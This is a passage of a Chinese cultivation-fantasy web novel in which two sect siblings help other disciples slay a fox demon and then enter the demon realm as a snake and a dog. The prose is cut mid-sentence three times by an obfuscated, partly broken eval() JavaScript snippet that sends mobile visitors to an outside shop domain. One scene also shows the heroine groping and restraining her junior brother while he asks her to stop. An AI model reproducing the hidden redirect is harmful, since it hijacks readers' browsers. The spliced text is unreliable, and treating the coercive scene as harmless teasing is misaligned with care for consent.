这里距离城门很近,可以看到郊外亮起各种术法的光芒。 有人听到声音出门,看到这样的场景便软了腿。 有人躲进缸里瑟瑟发抖。 有人好奇地指着那个地方:“娘,你看,是神仙打架!” “神仙打架,凡人遭殃,我们快躲起来!” 小女孩被大人拉走了。 陈舒朝到底没办法放任不管:“我要去城外看看。” “我也去。” “好,那我们就一起。” 陈舒朝:“跟上!” 刚恢复了一点灵力,陈舒朝将每一点灵力用到极致,化为一道流光飞出城,江砚辞也学着她的动作出城。 出了城,战局也能看得更清晰。 陈舒朝神情严肃。 江砚辞追上后看了两眼道:“是那五个归一剑宗的弟子,对面是……狐妖?” 陈舒朝点了点头:“这恐怕不是本体。” 23. 试探 皓月当空,只见无数只狐妖自月亮在湖中的投影中飞出,每只都只有一尾,还不到筑基修为,但胜在数量多,无穷无尽令人难以招架。 屏障展开护住全城百姓,陈舒朝没急着出手:“那位大师兄,方才那一剑是你故意的吧?” “抱歉。”他抿着唇挥出一剑,一只狐妖被剑气劈散,可后面又立即涌上更多。 狐妖擅蛊惑,蛊惑之术与幻术有些相似,因此有许多狐妖触类旁通,于幻术一道也颇有建树。 “我明方旬,事态紧急,我只能出此下策,求两位帮我们一把,之后会将所有事情告诉二位。” “行。” 她本身就没打算坐视不理,只是没人喜欢被这种方式叫醒。 陈舒朝抽出一把铁剑,飞身而上,朝前刺出,杀死了一只企图攻击夏云亭的狐妖。 “谢谢姐姐。”夏云亭冲她甜甜一笑。 陈舒朝弯起眉眼:“师弟,来帮帮这些个没用的废物。” 江砚辞原本还挺讨厌这些人的,听了师姐的话后笑了。 七人打得酣畅淋漓,没人注意到一个小女孩站在结界旁边,与结界对面的狐妖对视,眼神渐渐涣散,然后慢慢伸出手。 这结界只能挡住妖,挡不住人。 结界被触动,陈舒朝立即闪身至结界旁,捞起女孩后跳一步,狐妖的爪子抓了个空,下一瞬消散了。 小女孩惊醒,被吓得抱住陈舒朝的脖子哇哇大哭。 陈舒朝没有带孩子的经验,她身子僵了下,被洇湿的肩头传来温热的湿意。 她架着小女孩的的腋下把她放下来:“快回去,不要再来这么危险的地方了。” “呜呜呜哇哇哇哇哇娘、娘……” “囡囡、囡囡。” 一位妇女从后方跑过来,抱起了小女孩。 “多谢仙人,您的大恩大德,我没齿难忘。” “顺手而已,你快带着孩子回去,别再靠近这里了。” 陈舒朝拜拜手,回头出了结界。 狐妖本体再强,也不可能无休无止地变出幻影,等他灵力耗得不剩多少时就会结束。 尽管这些幻影只有练气,但数量这么多,本体修为可能接近了化神。 陈舒朝一边杀幻影,一边观察幻影出现的位置,以及规律。 城外有一座湖,湖中倒映着一轮巨大的月亮,每一个幻影都是从那里出来的。 以月亮为媒介么? 陈舒朝以一个狐妖的头为着力点,两三步飞到最高点,一道剑气破风而出,扰乱了湖水。 月影被搅碎,狐妖幻影也跟着一闪一闪。 不对! 一只爪子勾住她的后衣领,一股力量刚出现就消失了,陈舒朝心跳得快了一瞬,她回头,撞进了少年干净澄澈的眸子。 他眼睛里什么也没有,只有眼前被斩断的狐爪。 “干得不错。” 江砚辞听了没什么反应,只微微点个头就扭身继续作战,但若仔细看,就会发现他的耳垂是红的。 陈舒朝笑了笑。 扰乱月影会使得狐妖变得和月影一样难以琢磨,怪不得他们五人不敌,不得已把他们叫出来。 ……扰乱月影不行,遮挡住月影也很可能会令狐妖隐身。 破局之法不在月影。 “掩护我!” 江砚辞一直注意着她这边的情况,听到声音立即作出反应,飞身站在她身边,其余人也纷纷围上去保护她。 陈舒朝闭上眼睛,用神识感应周围的一切。这对神识的要求很高,世界安静下来,抛开星星点点的灵气,有一处的光亮特别盛。 “这边!” 陈舒朝一个脚尖点地甩开后面跟着的狐妖,来到湖旁边的树林里。 有什么东西反射着刺眼的光芒,她提着剑一剑刺上去。 “哗啦——” 那是一面镜子,镜片破裂,狐妖惨叫着消失,唯余风吹动树叶发出沙沙的声音。 “结束了?” “只是今夜而已。” 镜子碎裂,狐妖本体必定元气大伤,今夜不会再出来了。 她收回结界:“说说吧,发生什么了?” 方旬抿起唇:“回去说。” 回到客栈,他们聚在归一剑宗订的超大号房间里。 这房间大得可怕,十个人也挤得下。 “我们是归一剑宗大长老座下的五个弟子,我叫方旬……” 陈舒朝出声打断:“别说这些没用的,说重点。” 方旬也没恼,丝滑地接上下面的话:“方城隶属于归一剑宗,出事时我们先后派了两批弟子结果都音信全无,引起了我们长老的重视,这才派我们前来。” “原本只是一场普通的妖杀人事件,直到半路接到方城几乎灭城的消息,我们加快脚步,到来的时候就看到很多人在排队进入州清城。之后的事情你们都知道了。” 陈舒朝打量这房间的设施,突然冒出个想法:“这是你们宗的客栈?” “嗯,是的,我们宗门在每个城都有歇脚的地方。” 这也不是什么秘密。 怪不得这里面除了他们就没其他人了。 不愧是剑宗,穷,但是灵石都花在刀刃上。 “情况我们都了解了,根据我的推测,那只狐妖大概是要突破化神了,突然这样大肆破坏也是因为要为突破做准备。我们比较赶时间,只有明日一天的时间,之后无论事情解没解决我们都得走了。” 陈舒朝面无表情,视线扫过一脸不服气的沈卿尘。 她问:“你们怎么突然想起来要找我们求助的?” “是明诗说的,”一道温柔的女声响起,那大概是他们的二师姐,“她说感觉你们很厉害,应当帮得上忙。” 陈舒朝顺着视线看去,她口中的明诗就是昨夜最后看他们一眼的小姑娘。 “用「说」这个词应当不是很准确,她其实不是说话,不过我们做同门这么多年,一个微动作一个眼神就能明白对方的意思。” 陈舒朝意味深长地看那位明诗一眼,哑巴么?她怎么没看出来。 “今夜灵力消耗有点大,我们先去休息了,你们随意。”她打了个大大的哈欠,起身离开,一直没说话的江砚辞跟上。 他身为掌门弟子,平日里参加的比赛多了,尽管易了容,说太多也恐怕会暴露。 他们走后,房间内。 沈卿尘实在忍不住:“师兄师姐,他们真的很厉害么?没了他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750460|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们完不成任务?” “不是为了任务,”方旬难掩疲惫,揉了揉眉心,“此次事件伤亡重大,已经不是简单的「任务」二字可以掩盖的了,如果可以选择,当然要尽快将狐妖缉拿归案。” “况且,明诗的话从未出过错。” “苏扶楹,你带着姑娘们回房间,今夜好好休息,明日要打起精神来。” “好。” * 第二日接近正午,陈舒朝舒舒服服地伸了个懒腰,下榻穿鞋。 屋内已经没人了,她洗漱好后出门,就见江砚辞坐在下面的桌旁。 她走下去,没骨头一样靠在椅子上:“起来多久了?” “没多久,不到一个时辰吧。” 陈舒朝还未彻底醒来,她发了会呆,突然坐直:“吃饭吃饭,我饿了。” 一口饭下肚,她怔了怔,抬眼,见江砚辞笑得温和地看着她。 “这是你做的?” “师姐吃出来了?”江砚辞眼眸骤然一亮,“我醒了之后睡不着,见师姐还在睡,就起来做了早饭……应该说是早饭和午饭。” 他计算着这饭吃完也差不多正午了,于是做得丰盛了些,这样就是早饭午饭二合一了。 陈舒朝不知道说什么,砸吧一下嘴,默默吃起饭来。 狐妖有方旬他们在找,她没急着出去,吃完饭带着江砚辞回了房间。 一路无话,江砚辞连踩楼梯都轻轻的,不知道自己做了什么惹得师姐声生气了。 他低垂着头,进了房间却被一股大力抵在门上。 “……师姐?” 陈舒朝抬眸看他:“你很信任我么?” “那当然了,你是我的师姐,是救下我,带我入宗的人。” “无论我做什么你都相信我么?” 江砚辞不知道发生了什么,只能将一切归因于师姐生气了:“当然了,我知道师姐不是坏人。” “不是坏人……”陈舒朝咀嚼着。 “那这样呢,这样也不坏么?” 她伸手,白皙修长的手指顺着宽大的衣袖滑进去,隔着一层薄薄的里衣,灵活地游走在他的胸膛上。 江砚辞识海有一瞬间空白,在微凉的手指接触到某处时猛地炸开,身子微微颤抖。 “师姐……” 他粗重地喘息着,竭力克制,可呼出的热气还是不可避免地接触到了师姐的面容。他脸红得不能再红了,连带着他整个脖颈都是红的,若是这时扒开他的领子,会发现他全身都是红色。 手下的身体逐渐发烫,陈舒朝下手重了些:“这样呢,也不坏么?” 江砚辞猛地一颤,吐出几个破碎的字:“不……坏……师姐……停……” 他不明白事情怎么就成这样了,明明刚才还好好的,怎么吃了口饭就变成这样了。 陈舒朝的手瑟缩了下,缓缓退出来。 她像是忽然醒悟过来一样,松开了桎梏。 江砚辞靠着门,缓缓滑坐在地上。 他用手背挡住自己下半张脸,似乎快羞愤死了,眼睛里流转着莹莹光芒,有一滴眼泪从眼眶里溢出。 “抱歉,我……” 话还未说完,江砚辞猛地站起,急匆匆地出了房间。 24. 狐妖 少年落荒而逃,再回来时已是两刻钟后。 寂静的长廊上,少年身上冒着冷潮的水汽,滴滴答答的水顺着半干的头发下落。他脸颊还是红的,不敢看她。 陈舒朝不动声色地移开视线,满脑子都是少年方才脸红气喘的模样。 若她做得再过分些呢,他清澈透亮的眼眸里会不会出现一丝一毫的崩坏,会不会失去对她的景阳转而变得对她不信任? 这些想法盘踞在她的脑海,让她想要现在就做点什么。 “……师姐。”一旁的少年终于开口,似乎是下了很大的决心,“不可以再这样做了。” 他表情极其认真,仿佛这是什么很重要的大事。 陈舒朝鬼使神差地问:“为什么?” 他支支吾吾了半天,说出一句:“因为、因为男女授受不亲。” “噗嗤——”陈舒朝笑了,小孩子才用的理由。 他们现在在房间外的长廊上,陈舒朝释放自己的灵力,瞬间将他铐在墙上,江砚辞的后背狠狠砸在墙上,发出“咚”的一声,他吃痛,陈舒朝却并没有丝毫手软,一步一步靠近他。 近到他能闻到她身上淡淡的血腥味。 “咳咳,两位。” 一道极不合时宜的声音插入。 陈舒朝迅速扭头,看到方旬在一楼,他有些许尴尬,视线都不知道往哪放。 她松开江砚辞,收回自己的灵力:“找到狐妖了?” “啊,是,两位现在……” 未等他说完,江砚辞抢答:“方才什么都没发生,我们现在就可以走。” 他怕再不走等会真的发生什么。 这是江砚辞第一次有这么大的情绪波动,一句话说得一个字赶着一个字,咚咚咚地跑下楼。 陈舒朝跟在后面,好整以暇地观察少年。 他看似冷静了下来,但耳垂的红色还是消不去。 可能是昨日夜晚发生的事太过可怕,今日外面就没什么人了,家家户户关紧门窗,街上萧条得一个人影都没有。 “我们今早出发去寻找狐妖,根据你昨日说它可能在突破,我们推测应当是寻了个比较空旷的地方,州清城房屋排列紧密,每一寸土地都得到了充分的利用,显然不可能,于是我们又找了方城,可遍寻整个城市,只有浓郁的妖气,没有妖的身影。” “于是你们猜测在地下?”陈舒朝插话。 “对,我们探了两座城的地下,找到了一处地方地下是空的。”方旬抬头,“就在前面了。” 在他们面前的,是一座空宅。 宅子破败,不知什么原因多年无人修缮,屋顶的砖瓦裂了好几个,屋檐下还有鸟筑巢。 看到他们靠近,窝里的小鸟探出头来,叽叽喳喳地叫,没叫两声,一只大鸟飞回来,将虫子一个个喂给孩子们,鸟喙直戳喉咙。 踏过门槛,进入宅子内部,其余四个人终于显现在眼前。 这个宅子一看就好多年了,里面的树长得极其高大,枝叶垂在地上,隐隐约约遮挡住几人的身影。 陈舒朝身形顿住,江砚辞注意到了:“怎么了?” “不对劲,方旬!” 前面的男人转过头,恰在此时,一道破风声擦着他的脸庞,没入后方的门扉上。 是剑气。 狐妖擅幻术,定睛望去,连方旬都不是真的,他的五官渐渐扭曲,整个人融化在地上。 浓雾渐起,很快看不清景物,一双温热的手握住了她的手。 “牵着,防止走散。” 陈舒朝反手握紧,他的手很大,陈舒朝只能握紧他的四个手指。 雾更浓了,什么都看不清,连身旁的人都看不到,但两人相交的手上,还能传来清晰的触感。 他们循着记忆往前走,绕过院中间的大树。 陈舒朝放出神识,院子的真容显现在她识海里。 她牵着江砚辞,往妖气最浓郁的地方走去。 江砚辞眼前一片白色,眼睛看不到,手上的触感就更加清晰,从牵着的手上传来一股牵引力,牵引着他往前走。 狐妖昨夜伤到的元气应当是还未恢复,它不能正面对上他们,所以派了个假人出来。 既是假人,肯定不会带他们来到真正的地方。因为元气大伤,所以雾中也并没有真正的危险。 它的最大作用,便是让他们确信找对了地方。 毕竟,他的本体应当还在和归一剑宗的弟子们苦战。 陈舒朝毫不犹豫出了宅子,在外面,妖气最浓郁的地方也更加清晰。 手被松开,方才接触的地方倏然一凉,江砚辞手指摩挲了下。 “走吧,我知道在哪里了。” 外面没有人,他们走得也更加顺畅,很快到了城外,昨夜交战的地方。 湖水。 陈舒朝现在灵气充足,毫不吝惜地使出灵力,灵力在湖中爆开,幻象散去,露出里面的真容。 江砚辞眼眸睁大,不可置信:“这是幻术?” 修士擅幻术的极少,如此大型的幻术更是少见。 这原来是一座巨大的阵法,阵法纹路清晰地刻在地上,鲜血将凹槽填充。 一只狐妖在与五个人对战,勉强打了个平手。 见幻术被识破,狐妖干脆收了幻术,一时间妖力大涨,五人猛地被掀翻在地。 狂风大作,甚至吹翻了一旁的几颗树木,江砚辞被吹得几乎睁不开眼睛。 “你们来得居然这么快,”狐妖一般都长得魅惑人心,只是现在这只却面容扭曲,有些癫狂,“哈哈哈哈,那又如何,一群金丹元婴,无论如何也不可能打得过化神!我是最强的哈哈哈哈!” 她大概是修邪法修疯了。 苏扶楹毫不留情地戳破:“用这种邪法提升修为,即便再厉害也是根基不稳,遇上同阶的根本打不过,更别说天道也不会承认这样得来的修为,往后会很难进阶。” 狐妖笑容僵了一下:“你懂什么!要不是邪法我这种普通的妖一辈子都不可能突破金丹!” 她抓狂:“凭什么你们生来就是人,而我是只妖?凭什么你们生来就是天之骄子,而我这样普普通通,若不是邪法可能一辈子都困在筑基!你们从来都是人上人,又怎会懂得人人欺辱的滋味?” “哈。” “谁!谁在笑!” 陈舒朝举手:“抱歉,没忍住。” 她露出标准的八颗牙齿:“你这样的人,啊不,妖,你这样的妖我见得多了,请问你是怎么修炼的?” 未等她回答,陈舒朝将话头丢给江砚辞:“师弟,你几时起床修炼?” 江砚辞乖乖回答:“卯时。” “几时睡的?” “除了养伤,筑基后就没再睡觉了。” 狐妖面容更加扭曲了。 陈舒朝保持微笑:“这位妖精小姐,请问又是谁欺负了你呢?” “你懂什么,你们什么都不懂!” 哦吼,生气了,还气得不轻,看来是戳到她痛处了。 狐妖蜷起爪子,以极快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755346|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的速度朝陈舒朝袭去。 “师姐!” “放心。” 她拿出铁剑,咬牙挡住了这一击。 狐妖脚尖点地,后退几步,再次冲过来,却在中间被截胡。 方旬提剑挡住她的去路,他的师弟师妹们抓住空隙劈在她身上。 鲜血飞溅,狐妖大吼一声,变回了原型。 她的原型有两个人大小,低吼一声,再次袭来。 她这次瞄准的是江砚辞。 江砚辞一个飞身躲过,翻身上了她的被,把剑狠狠刺下去。 “铮——” 她的皮太厚,这一下竟然没刺穿。 提剑再刺,这次刺进去了一点点。 这皮也太厚了。 江砚辞暗自吐槽。 几人配合得还算默契,陈舒朝将大半灵力灌在剑中,找到机会一跃而起,刺在狐妖背上。 先前几个人上去都没能刺穿,她还就不信了。 剑的确卡在了上面,仅仅刺破薄薄一层。 陈舒朝站起来,用尽全力往下刺。 “咔嚓。” 剑断了。 “啧。” 不得已,她扔掉这把破剑,剑掉在地上的声音引起了方旬的注意。 他受到了震撼。 她方才一直在用铁剑打么! 用铁剑都这么厉害,若是用名剑的话…… 下一瞬,他就见陈舒朝又掏出了把普普通通的剑。 他受到了来自大佬的冲击。 这就是大佬么,他悟了,强者从不抱怨环境。 人家一把铁剑都能用,他还说什么呢。 “大佬!” 这一声大佬他叫得心甘情愿。 陈舒朝将剑刺入,这一次轻松多了,她刺入的是狐妖的命脉,狐妖遏制不住地翻滚几圈,不久后化为人形,背后破了个大洞。 她提剑后撤,朝方才尖叫的地方看去。 那声震耳欲聋的“大佬”是方旬喊的?他没看出来这是他家的剑么? 陈舒朝朝他笑笑。 看不出来,看不出来好哇,感谢它长了一个放在剑堆里就找不到的样子。 她正在这万幸着,忽然感受到一股强烈的视线。 回去望去,见那个哑巴姑娘盯着她手中的剑。 “你们……”眼见不敌,狐妖立即示弱,“你们大人有大量,就饶了我吧,我保证不再杀人,哦不,我发誓,我发誓不再杀人!” “人家真的只是一只普普通通的狐妖罢了,求各位仙君饶人家一命。” 陈舒朝险恶地拉着江砚辞后退一步。 “别白费力气了。”方旬上前欲将这只妖收了。 在他上前的一瞬间,狐妖见求饶不成,猛地爆发,再次朝陈舒朝而去。 可恶的人类啊啊啊啊,就是她,是她给了她最后一击!哪怕死她也要带她同归于尽! 陈舒朝躲过这一击,握紧剑柄再出一击,同时用防护罩保护自己。 剑尖没入的那一刻—— “砰!” 狐妖整个身子炸开,震得长风剑嗡鸣,陈舒朝手麻了。 她这么一炸,连具尸体也没留下,只有红色的血肉洒在她自己画的阵法上。 苏扶楹走过来:“多谢两位道友。” 陈舒朝摆摆手,眼睛朝明诗看去,见她看过来,眨了眨眼。 “嘘,可以帮我保密么?” 这是陈舒朝方才掠过她身边时,悄悄说的一句话。 25. 小黑蛇和大狗狗 明诗微不可察地点了点头。 陈舒朝满意一笑:“圆满结束,我们要回去休息了,剩下的烂摊子你们自己收拾吧。” “喂——” 沈卿尘想反驳一下那个“圆满”,被方旬捂住了嘴。 方旬微微颔首:“此次多谢你们,可否告知我们尊姓大名?也方便我们日后感谢。” “不必,萍水相逢顺手而为而已,让我们今夜睡个好觉就行了。” 毕竟还是住在同一个客栈,方旬将现场简单收拾了一下,七人一路回去。 陈舒朝和江砚辞走在前面,五个人在后面叽叽喳喳。 沈卿尘:“狐妖死得尸体都不剩了,算什么圆满结束嘛。这种罪大恶极的妖,就该关在我们宗的地下大牢里,这么轻易死了算什么。” 苏扶楹劝他:“事情已经发生了,再怎么说也没用,人家帮了我们就该好好感谢。” “我知道……” 夏云亭插话:“你真的知道么,要不找个机会向人家好好道个谢,以示心诚?你知不知道自己很烦?” 沈卿尘底气不足地骂了一句:“滚啊,都说了我知道……” 现在正好是晚饭的点,陈舒朝饿了:“今晚吃什么?” 江砚辞想起中午那一顿饭引发的事故,恰到看到一个酒馆:“我们去酒馆吃吧,我带了很多灵石。” 他攒了很多灵石,这次出来几乎全拿了。 陈舒朝知道他在想今早的事,拉个一个长长的“哦——”。 “好吧,我也想尝尝州清城的特色。” 他们去除妖的动静惊动了全城人,现在见到他们,都激动得无以言喻。 “仙人们回来了!” “他们是我们的大恩人!” “恩人来尝尝我们家的饭菜吧!” “仙人来我们家!” “诸位仙人——” 有一道格外嘹亮的声音从身后响起,吸引住了几人的注意,陈舒朝动了动耳朵,连头都没回立马往旁边一躲。 众人回头,就见一人抱着一大框蔬菜水果,朝他们冲过来。半路一个不稳,左脚绊右脚狠狠摔在地上,手中的菜因为惯性继续向前。 因为面对的是凡人,他们都没怎么设防,毫不意外地被泼了一脸。 “哐当。” 菜篮掉在地上,那人被吓得立马爬起来,瘫坐在地:“抱、抱歉,各位仙人饶我一命吧!” 陈舒朝作为一个唯一干干净净的人,退在一旁看好戏。 “无事。” 苏扶楹面无表情地摘下脸上的菜叶,集体施了个除尘术。 方旬上前扶起那人:“不必担心,也不用给我们送这些,我们已经辟谷了。” “喂喂喂,”陈舒朝打断他,“你辟谷了我可没有,我还等着吃饭呢。” 那人一听眼睛亮了:“诸位仙人要吃饭?那要来我们酒馆吗,我家正是开酒馆的。” 他伸手指向一个方向。 江砚辞顺着方向看去,赶巧,正是他方才看得那个。 七人进了酒馆,其他人看他们进去,颇为可惜地走了。 老板单独给他们开了一个单间,将菜单递给他们:“看看各位要吃什么。” 夏云亭正好坐在外面,菜单第一个递给她,她眼睛一亮:“这个、这个、这个、这个……还有这个,都来一份。” 下一个是沈卿尘,他向来过的是少爷生活,看都不看直接递给老板:“炒一本,太多的话我可以给钱。” 陈舒朝调侃道:“这城里可不比山上,灵石是花不出去的。” “哈?”沈卿尘下意识想反驳,突然反应过来这里是凡间的城市,于是结结巴巴道,“那、那又如何?我也带了银子!” 江砚辞听他们说话脸颊微红,他原本也打算用灵石。 “行,那你付钱。”夏云亭就喜欢杠他一下。 “付就付!” 他羞赧地拔下自己的银质发冠,拍在桌上,一头秀发没了束缚披散在后面。 这么看,他长得还挺秀气。 “别别,诸位仙人,这顿是我请你们的,放心吃,作为州清城最大的酒馆,这点我还是承担得起的。” 沈卿尘别别扭扭地重新束好头发。 今日恰好没什么人,等了没多菜就上齐了。 这家不愧被称为“最好”,色香味俱全,看上去就让人食欲大开。 陈舒朝尝了一口,客观地评价:“师弟,虽然这菜吃着也不错,可还是没有你做得好吃。” 江砚辞现在一听她说饭菜脑海里就自动浮现出中午他被按在门上的场景,当时的感觉还刻印在他的皮肤上,虽是隔着一层衣物,却也让他…… 江砚辞脸红了个透,他居然对师姐…… 不不不,那可是他师姐,不能这么想,师姐只是太没安全感了。 陈舒朝坐在他旁边,眼睛稍微一瞟就能看到他面红耳赤的摸样。她心底跟明镜似的,却还是装作不懂的样子:“脸怎么红了,太热了么?” 江砚辞一惊,慌忙躲开她的手,筷子上夹的肉也随之掉在桌上。 “不,我没事,师姐你快些吃吧,这些菜都不错。” 陈舒朝支着头,笑眯眯地看他,余光望向同样面红耳赤,看起来犹犹豫豫的沈卿尘。 果不其然,没等多久,沈卿尘扭扭捏捏地走过来:“那个,我有件事要和你说,能出来一下么?” 这可能是他这辈子说过的最礼貌的话了。 陈舒朝没看他:“什么事这么见不得人,就在这里说。” “这里不太方便……” 她佯装震惊,声音大了些:“这里不方便?你要干什么不能当着大家的面?” 说说笑笑的声音停止,大家都看过来。 沈卿尘简直羞愤欲死,如果这里有条地缝,他立马就钻进去了。 他脚趾紧扣鞋底,怎么也张不开嘴。 “噗嗤——”一道熟悉的笑声传入耳中,是夏云亭。 他被刺激到了,豁出去似的抬起头,对上陈舒朝的眼睛:“抱,抱歉!请你原谅我之前的话!” 陈舒朝有意逗他:“你之前说过什么?我怎么不记得了?” 沈卿尘想说不记得就算了,可刚一扭头就收到了夏云亭的一记眼刀,他只好又把头扭回去:“就是……就是我之前说狐妖的死不算圆满,我知道那并不是你的错,可还是对你发了脾气,抱歉……” 声音到后面越来越小,越来越小,陈舒朝也不为难,只是看他低着头急的要哭的模样有点可怜,头顶也是毛茸茸的,于是伸出了手,揉了揉他的头:“我接受你的道歉,原谅你了。” 对方猛地抬头:“谢谢你,你是一个好人!” 然后就跑走了,开开心心地吃饭。 陈舒朝的手还在半空:“?” 怎么变脸这么快,她被骗了么? 算了,小屁孩,吃饭。 她没注意到,江砚辞盯着他的手,目光有些失落。 这顿饭吃到了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759577|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚,打了酣畅淋漓的一场,又吃了酣畅淋漓的一顿,几人回去舒舒服服地睡了一觉,没有任何人打扰。 睡了个爽,陈舒朝起来后伸了个舒舒服服的懒腰,颇有精神地跳下床榻,出门就见江砚辞做好了饭菜在一楼等她。 她嘴里哼着不着调的歌,下楼坐在他对面,自然地拿起筷子。 江砚辞紧张地握了握拳头,看到她只是正常地吃饭后,不知道为什么有些失落。 她怎么只是单纯地吃饭…… 意识到自己在想什么后,他猛地抬头,见到师姐并没有注意到他,这才松了口气。 自己到底在想什么!师姐变正常了,这不是好事么! 他甩了甩脑袋,把所有不正常的想法都摇出去,然后拿起了筷子开始吃饭。 吃完饭后两人就离开了,一路向南直达妖界。 修真界到妖界的过渡地带是一片沙漠,两人就在这里吞下了化妖丹。 化妖丹入口,两人身上绽放出耀眼的白光。 光芒散去,出现了两只毛茸茸。 陈舒朝和江砚辞面面相觑。 陈舒朝的对面是一只大狗狗,她想说话,一开口却是“嘶嘶嘶”的声音。 她居然是条蛇! 陈舒朝传音问江砚辞:“我居然是蛇?快告诉我,我是什么颜色的?” 江砚辞发现自己变得极其高大,他低下头,传音回道:“黑色的。我是什么?” “你是一条狗,快叫两声让我听听。” 江砚辞张了张嘴,总觉得狗叫有点别扭,但还是应师姐要求,发出了这样的声音。 “……汪。” “很好,我们出发吧。” “……” 这句话说完,空气仿佛停了一瞬。 她想起了一件事。 吃下化妖丹,在这一个月期间从里到外就都是妖了。 饶她再过天才,也没当过妖,并不知道妖是怎么化形的。 也就是说,他们还得学会化形。 “你会化形么?” 江砚辞:“不会。” “重新来。” 陈舒朝扭动蛇身爬到大狗狗的背上。 “很好,我们出发。” 江砚辞乖乖地背着陈舒朝跑起来。 大狗狗跑步一颠一颠的,陈舒朝的身子止不住往下滑。 蛇蛇被颠得快要掉下去,蛇蛇努力爬回去,蛇蛇继续被颠得快掉下去…… 蛇蛇怒了,她围着大狗狗的腰缠了一圈,紧紧的,很有安全感。 在被缠紧的那一刻,大狗狗狂奔的步子猛然停住,他瘫坐在地,汪汪地叫,尾巴摇得极快。 “怎么了?” “师姐你缠得太紧了,松一点。” “不要,我怕掉下去。” “那要不你缠着我脖子吧。” “我怕勒死你。” “那要不我叼着你?”他看很多小动物都这样叼幼崽。 蛇蛇翘起尾巴:“可以试试。” 她摊在地上,等着江砚辞来叼。 狗狗尖锐的牙齿刚触上她的皮肤,她没忍住抖了一下:“不行!” 江砚辞乖乖放开。 他低头看看自己毛茸茸的腿。 “缠腿上好像也行?” 陈舒朝比划了下,蓄力,飞上去,迅速绕了几圈缠紧。 “好了,走吧。” 这回终于没什么问题,顺利抵达了妖界。 除了有点颠。 26. 妖界(一) 妖界大多民风开放,入了城,他们这样的组合没有引起一点波澜。 街上每只妖都保留了一点身为妖的特性,有的是耳朵,有的是尾巴……也有许多直接以原型穿梭在大街小巷的。 黄沙漫天的街道上,狮子猫猫随处可见。 谁不小心踩了谁的尾巴,谁绊倒了谁,谁从谁的头上飞过去了。 吵吵闹闹,好不热闹。 甚至还有当街求婚被拒,变成一头威猛的狮子嘤嘤嘤着跑走了的。 陈舒朝费劲巴拉翘起脑袋,看到一只小鼠偷偷潜进一家包子店偷包子,结果被老板捏着尾巴提起来:“第几次了!你自己说说第几次了!再敢来偷东西我就把你丢给那条蛇!” 蛇?是说她么?她可不吃老鼠。 “师姐,我们接下来去哪?” 她沉默了下:“先学会化形吧。” 他们制定的计划很简单,找一只会化形的妖,逼问他,然后让他教。 说干就干。 江砚辞四条小腿登登登跳到屋顶上,陈舒朝晃晃脑袋开始寻找目标。 他们的修为在妖界也是排得上号的,幸好灵力与妖气的运转方式差不多,他们的修为还在。 蹲在屋顶上也没人发现。 “去去去,别在这儿要饭,我的饼贵着呢。” 一处地方的动静引起了陈舒朝的注意,她用蛇尾拍拍他的狗头,让他扭向那边,方便她看。 又是那只小鼠,小鼠站在卖饼的摊位上,可怜巴巴地望着老板。 老板却不耐烦地让它走,说什么也不给。 小鼠没落地走了,看起来只是一只普通的小老鼠,陈舒朝却能感受到它身上散发出的妖气。 不是特别强,但也不至于混到要饭的程度。 “走,跟上它。” 江砚辞特意放轻了步子,越过一个个屋顶。 小鼠垂着头,心灰意冷,也不看路了,就这么一直往前走,有好几次差点被踩到。 “吱……吱吱……吱……” 它看起来快要碎掉,不太想活了。 陈舒朝没管,只专心致志地命令江砚辞跟上。 它太小了,一不小心就会跟丢。 它小小的身影经常被各种妖挡住,还好它走的路线一只没变。 所以,当又有一只妖挡住了路时,他们只是走快了几步。 然而,却并没有看到它出现。 陈舒朝警觉地立起来,滑上江砚辞的头。 “人去哪了,被发现了么?” “不会,那边。” 这里与其他街道唯一不同的便是多了一条死胡同。 胡同里堆放了许多垃圾,蚊虫飞舞,又脏又乱。 可是里面却飘散出纯净的妖气。 与方才的小鼠同源。 躲进这里面了么? 陈舒朝有八成肯定:“去看看。” 江砚辞的毛发是纯白的,一脚踏进去立马有了黑点,是蚊虫停在了他的毛上。陈舒朝浑身是鳞片,倒不怕被咬,只是看着也怪膈应人的,于是用妖力帮他驱赶。 她对妖力的控制比江砚辞要好很多,这样不会惊动那只鼠。 陈舒朝拧起眉,用妖力一寸寸探寻。 江砚辞跟着他的进度往前走。 在踏出某一步时,忽然有道妖力横在他面前。 他来不及收脚,毫不意外被绊倒,狠狠摔在了地上。 身子撞倒旁边的垃圾堆,哗啦啦一大堆脏臭的垃圾倒在他身上。 一道黑影在他摔倒前飞出,目标明确地飞向一个方向,咻地一下缠住一个小东西。 